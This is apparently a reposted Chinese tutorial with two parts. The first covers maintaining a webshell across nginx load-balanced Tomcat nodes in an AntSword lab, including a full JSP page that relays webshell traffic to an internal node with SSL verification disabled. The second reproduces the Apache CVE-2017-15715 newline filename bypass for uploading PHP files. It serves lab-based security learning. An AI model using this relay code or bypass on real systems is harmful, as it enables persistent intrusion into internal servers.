负载均衡上传webshell+apache换行解析漏洞

news2024/7/6 20:27:36

目录

  • 一、负载均衡反向代理下的webshell上传
    • 1、nginx负载均衡
    • 2、负载均衡下webshell上传的四大难点
      • 难点一:需要在每一台节点的相同位置上传相同内容的webshell
      • 难点二:无法预测下一次请求是哪一台机器去执行
      • 难点三:当我们需要上传一些工具时,麻烦来了:
      • 难点四:由于目标机器不能出外网
    • 3、环境搭建
    • 解决方法
      • 1、关机或者停服
      • 2、执行前先判断IP;要不要执行;
      • 3、在Web 层做一次 HTTP 流量转发
  • 二、apache换行解析漏洞

一、负载均衡反向代理下的webshell上传

1、nginx负载均衡

反向代理方式其中比较流行的方式是用 nginx 来做负载均衡。我们先简单的介绍一下 nginx 支持的几种策略:

名称策略
轮询(默认)按请求顺序逐一分配
weight根据权重分配
ip_hash根据客户端IP分配
least_conn根据连接数分配
fair (第三方)根据响应时间分配
url_hash (第三方)根据响应时间分配

其中 ip_hash、url_hash 这种能固定访问到某个节点的情况,我们也不讨论。

我们以默认的「轮询」方式来做演示。 LBSNode1 和 LBSNode2 均存在位置相同的 Shell: ant.jspNode1 和 Node2 均是 tomcat 8 ,在内网中开放了 8080 端口,我们在外部是没法直接访问到的。 我们只能通过 nginx 这台机器访问。nginx 的配置如下:
在这里插入图片描述

2、负载均衡下webshell上传的四大难点

难点一:需要在每一台节点的相同位置上传相同内容的webshell

我们需要在每一台节点的相同位置都上传相同内容的 WebShell一旦有一台机器上没有,那么在请求轮到这台机器上的时候,就会出现 404 错误,影响使用。是的,这就是你出现一会儿正常,一会儿错误的原因。

难点二:无法预测下一次请求是哪一台机器去执行

我们在执行命令时,无法知道下次的请求交给哪台机器去执行。我们执行 hostname -i查看当前执行机器的 ip 时,可以看到一直在飘,因为我们用的是轮询的方式,还算能确定,一旦涉及了权重等其它指标,就让你好好体验一波什么叫飘乎不定。

难点三:当我们需要上传一些工具时,麻烦来了:

由于 antSword 上传文件时,采用的分片上传方式,把一个文件分成了多次HTTP请求发送给了目标,所以尴尬的事情来了,两台节点上,各一半,而且这一半到底是怎么组合的,取决于 LBS 算法

难点四:由于目标机器不能出外网

由于目标机器不能出外网,想进一步深入,只能使用 reGeorg/HTTPAbs 等 HTTP Tunnel,可在这个场景下,这些 tunnel 脚本全部都失灵了。

3、环境搭建

漏洞复现:
我们假定在真实的业务系统上,存在一个 RCE 漏洞,可以让我们获取 WebShell。

环境搭建(下载地址:https://github.com/AntSwordProject/AntSword-Labs)

在这里插入图片描述

 cd /home/ztx/AntSword-Labs-master/loadbalance/loadbalance-jsp/
 docker-compose up -d

在这里插入图片描述

查看端口号,这里是18080

docker ps -a

在这里插入图片描述
在这里插入图片描述
先到nginx查看一下nginx配置

在这里插入图片描述
用蚁剑尝试连接
在这里插入图片描述
在这里我们发现IP地址发生了漂移
在这里插入图片描述

解决方法

1、关机或者停服

首先在测试阶段,我们可以关闭一台服务器,只保留一台机器,因为健康检查机制的存在,很快其它的节点就会被 nginx 从池子里踢出去,那么妥妥的就能继续了。 但在真实项目中,是不允许的,会严重影响业务。

2、执行前先判断IP;要不要执行;

执行前先判断IP;要不要执行;

MYIP=`ifconfig | grep "inet 172" | awk '{print $2}'`
if [$MYIP == "172.19.0.2" ]; then
 	echo "Node1. I will execute command.\n=======\n"
 	ifconfig
 else
 	echo "Other. Try again."
 fi

(如果这里你的tomcat外网不能访问,记得去Linux主机上的8080端口开放,因为如果你要测试的话需要安装vim和net-tools)这样一来,确实是能够保证执行的命令是在我们想要的机器上了,效果如图;
在这里插入图片描述
蚁剑老是出现一点奇怪的问题,这张图可以不看
在这里插入图片描述

3、在Web 层做一次 HTTP 流量转发

这里一定要保证每一台node上都要有相同的文件(千万别用上传,上传会将文件分片)
在这里插入图片描述
修改 Shell 配置, 将 URL 部分填写为 web.jsp 的地址,其它配置不变
在这里插入图片描述

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.net.ssl.*" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.DataInputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.OutputStream" %>
<%@ page import="java.net.HttpURLConnection" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.security.KeyManagementException" %>
<%@ page import="java.security.NoSuchAlgorithmException" %>
<%@ page import="java.security.cert.CertificateException" %>
<%@ page import="java.security.cert.X509Certificate" %>
<%!
  public static void ignoreSsl() throws Exception {
        HostnameVerifier hv = new HostnameVerifier() {
            public boolean verify(String urlHostName, SSLSession session) {
                return true;
            }
        };
        trustAllHttpsCertificates();
        HttpsURLConnection.setDefaultHostnameVerifier(hv);
    }
    private static void trustAllHttpsCertificates() throws Exception {
        TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() {
            public X509Certificate[] getAcceptedIssuers() {
                return null;
            }
            @Override
            public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
                // Not implemented
            }
            @Override
            public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
                // Not implemented
            }
        } };
        try {
            SSLContext sc = SSLContext.getInstance("TLS");
            sc.init(null, trustAllCerts, new java.security.SecureRandom());
            HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
        } catch (KeyManagementException e) {
            e.printStackTrace();
        } catch (NoSuchAlgorithmException e) {
            e.printStackTrace();
        }
    }
%>
<%
        String target = "http://172.19.0.2:8080/ant.jsp";
        URL url = new URL(target);
        if ("https".equalsIgnoreCase(url.getProtocol())) {
            ignoreSsl();
        }
        HttpURLConnection conn = (HttpURLConnection)url.openConnection();
        StringBuilder sb = new StringBuilder();
        conn.setRequestMethod(request.getMethod());
        conn.setConnectTimeout(30000);
        conn.setDoOutput(true);
        conn.setDoInput(true);
        conn.setInstanceFollowRedirects(false);
        conn.connect();
        ByteArrayOutputStream baos=new ByteArrayOutputStream();
        OutputStream out2 = conn.getOutputStream();
        DataInputStream in=new DataInputStream(request.getInputStream());
        byte[] buf = new byte[1024];
        int len = 0;
        while ((len = in.read(buf)) != -1) {
            baos.write(buf, 0, len);
        }
        baos.flush();
        baos.writeTo(out2);
        baos.close();
        InputStream inputStream = conn.getInputStream();
        OutputStream out3=response.getOutputStream();
        int len2 = 0;
        while ((len2 = inputStream.read(buf)) != -1) {
            out3.write(buf, 0, len2);
        }
        out3.flush();
        out3.close();
%>

在这里插入图片描述

二、apache换行解析漏洞

Apache HTTPD是一款HTTP服务器,它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,1.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。
环境下载链接:https://github.com/vulhub/vulhub/tree/master/httpd/CVE-2017-15715
搭建完毕后Apache运行在http://your-ip:8080
漏洞复现
上传一个名为1.php的文件,被拦截:

在这里插入图片描述
在1.php后面插入一个\x0A(只能是一个\x0A),不再拦截:
在这里插入图片描述
访问刚才上传的/1.php/x0a,发现能够成功解析,apache2.4会将他解析为php后缀,但这个文件不是php后缀,说明目标存在解析漏洞。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/333922.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Jenkins创建多分支流水线

Jenkins创建多分支流水线一、准备工作二、安装插件1、安装Docker和Docker Pipeline2、安装Blue Ocean3、安装Publish Over SSH三、创建多分支流水线四、配置以及脚本四、构建项目在我们的实际开发过程中&#xff0c;我们势必会存在多个分支进行不同的研发需要&#xff0c;这个时…

【LoRa 与 LoRaWAN】知识点汇总

本文主要记录【LoRa 与 LoRaWAN】知识点汇总&#xff0c;知识均来源于网络&#xff0c;纯属资料汇总与搬运 涉及到lora基本知识点&#xff0c;lora芯片的工作分析&#xff0c;专业名词解释 【LoRa 与 LoRaWAN】知识点汇总1.Lora和LoraWAN的区别2. lora 相关知识点汇总2.1 Lora调…

MG996R舵机介绍

舵机简介舵机是一种位置&#xff08;角度&#xff09;伺服的驱动器&#xff0c;适用于那些需要角度不断变化并可以保持的控制系统。在高档遥控玩具&#xff0c;如飞机、潜艇模型&#xff0c;遥控机器人中已经得到了普遍应用。舵机主要是由外壳、电路板、驱动马达、减速器与位置…

C语言入门教程||C语言 循环||C语言 函数

C语言 循环有的时候&#xff0c;可能需要多次执行同一块代码。一般情况下&#xff0c;语句是顺序执行的&#xff1a;函数中的第一个语句先执行&#xff0c;接着是第二个语句&#xff0c;依此类推。编程语言提供了允许更为复杂的执行路径的多种控制结构。循环语句允许我们多次执…

蓝桥杯刷题021——填字母游戏(DFS)

2017国赛 题目描述 小明经常玩 LOL 游戏上瘾&#xff0c;一次他想挑战 K 大师&#xff0c;不料 K 大师说&#xff1a; "我们先来玩个空格填字母的游戏&#xff0c;要是你不能赢我&#xff0c;就再别玩 LOL 了"。 K 大师在纸上画了一行 n 个格子&#xff0c;要小明和…

go语言的并发编程

并发编程是 Go语言的一个重要特性,而 go语言也是基于此而设计出来的。 本文将会介绍如何使用go-gc中的“runtime”方法实现 go语言中的并发编程。 在之前的文章中,我们已经对 runtime方法进行了详细介绍,这次文章将对 runtime方法进行深入分析,并讲解如何在go-gc中使用该方…

Java NIO学习(二):Channel通道

2.1 Channel 概述Java NIO 的通道类似流&#xff0c;但又有些不同&#xff1a;既可以从通道中读取数据&#xff0c;又可以写数据到通道。但流的读写通常是单向的。通道可以异步地读写。通道中的数据总是要先读到一个 Buffer&#xff0c;或者总是要从一个 Buffer 中写入。2.2 Ch…

PrimoBurner SDK for .NET

PrimoBurner SDK for .NET PrimoBurnerSDK是一个CD、DVD和蓝光刻录工具开发工具包。PrimoBurner是跨平台的&#xff0c;它还提供了一个全面灵活的API&#xff0c;用于快速轻松地实现各种燃烧/翻录替代方案。现在PrimoBurner迫使许多卫生、国防、执法、娱乐和其他部门。 PrimoBu…

面试复习题--性能检测原理

1、布局性能检测 Systrace&#xff0c;内存优化工具中也用到了 Systrace,这里关注 Systrace 中的 Frames 页面&#xff0c;正常情况下圆点为绿色&#xff0c;当出现黄色或者红色的圆点时&#xff0c;表现出现了丢帧。 Layout Inspector&#xff0c;是 AndroidStudio 自带工具…

Python环境搭建、Idea整合

1、学python先要下载什么&#xff1f; 2、python官网 3、idea配置Python 4、idea新建python 学python先要下载什么&#xff1f; python是一种语言&#xff0c;首先你需要下载python&#xff0c;有了python环境&#xff0c;你才可以在你的电脑上使用python。现在大多使用的是pyt…

this指针

目录 一、关于this指针的一个经典问题 二、this指针的特点 &#xff08;一&#xff09;本质 &#xff08;二&#xff09;应用 1. 不使用this指针 2. 使用this指针 3. 两者代码对比 三、代码举例 1. 举例1 2. 举例2 一、关于this指针的一个经典问题 当你进入一个房子…

MySQL面试题:SQL语句的基本语法

MySQL目录一、数据库入门1. 数据管理技术的三个阶段2. 关系型数据库与非关系型数据库3. 四大非关系型数据库a. 基于列的数据库&#xff08;column-oriented&#xff09;b. 键值对存储&#xff08;Key-Value Stores&#xff09;c. 文档存储&#xff08;Document Stores&#xff…

In Context Learning 相关分享

个人知乎详见 https://zhuanlan.zhihu.com/p/603650082/edit 1. 前言 随着大模型&#xff08;GPT3&#xff0c;Instruction GPT&#xff0c;ChatGPT&#xff09;的横空出世&#xff0c;如何更高效地提示大模型也成了学术界与工业界的关注&#xff0c;因此In-context learning…

ArcGIS API for JavaScript 4.15系列(3)——Dojo中的css样式操作

1、前言 前一篇博客介绍了Dojo中基础的dom操作方法&#xff0c;主要是针对html中的常用标签和属性进行操作。而一个优秀的线上网站自然也离不开css样式的从旁辅助。在实际开发过程中&#xff0c;我们经常会遇到需要动态修改css样式的问题&#xff0c;本文就来介绍一下如何在Do…

大数据框架之Hadoop:入门(一)大数据概论

第1章 大数据概论 1.1大数据概念 大数据(Big Data)&#xff1a;指无法在一定时间范围内用常规软件工具进行捕捉、管理和处理的数据集合&#xff0c;是需要新处理模式才能具有更强的决策力、洞察发现力和流程优化能力的海量、高增长率和多样化的信息资产。 主要解决&#xff…

【java基础】集合

集合 集合类位于java.util 包下&#xff0c;集合类又被称为容器 与数组的区别 数组的长度是固定的&#xff0c;集合的长度是可变的数组可以用来存放基本数据类型&#xff0c;集合存放引用类型&#xff0c;不能存放基本数据类型 如何选择 collection map 黄色的是接口&…

1.计算机基础-操作系统面试题—计算机系统概述、进程管理

本文目录如下&#xff1a;计算机基础-操作系统 面试题一、计算机系统概述CPU 内核态 和 用户态 的区别&#xff1f;从 用户态 切换到 内核态 的常见方法&#xff1a;二、进程管理线程 和 进程 的区别&#xff1f;协程 (goroutine) 和 线程的区别?进程有哪些状态&#xff1f;进…

day11_类中成员之变量

通过以前的学习&#xff0c;我们知道了成员变量是类的重要组成部分。对象的属性以变量形式存在&#xff0c;下面我们就来详解的学习一下类中的变量 成员变量 成员变量的分类 实例变量&#xff1a;没有static修饰&#xff0c;也叫对象属性&#xff0c;属于某个对象的&#xf…

Transformer位置编码图解

在语言中&#xff0c;单词的顺序及其在句子中的位置非常重要。 如果重新排列单词&#xff0c;整个句子的意思可能会发生变化。 在实施 NLP 解决方案时&#xff0c;循环神经网络具有处理序列顺序的内置机制。 然而&#xff0c;transformer 模型不使用递归或卷积&#xff0c;而是…

面试(七)为什么一般希望将析构函数定义为虚函数

class B { public:~B() // 基类析构函数不为虚函数{cout << "B::~B()" << endl;} };class D : public B { public:~D(){cout << "D::~D()" << endl;} };void Test(B* t) {delete t;t nullptr; }int main() {B *pb new B;Test…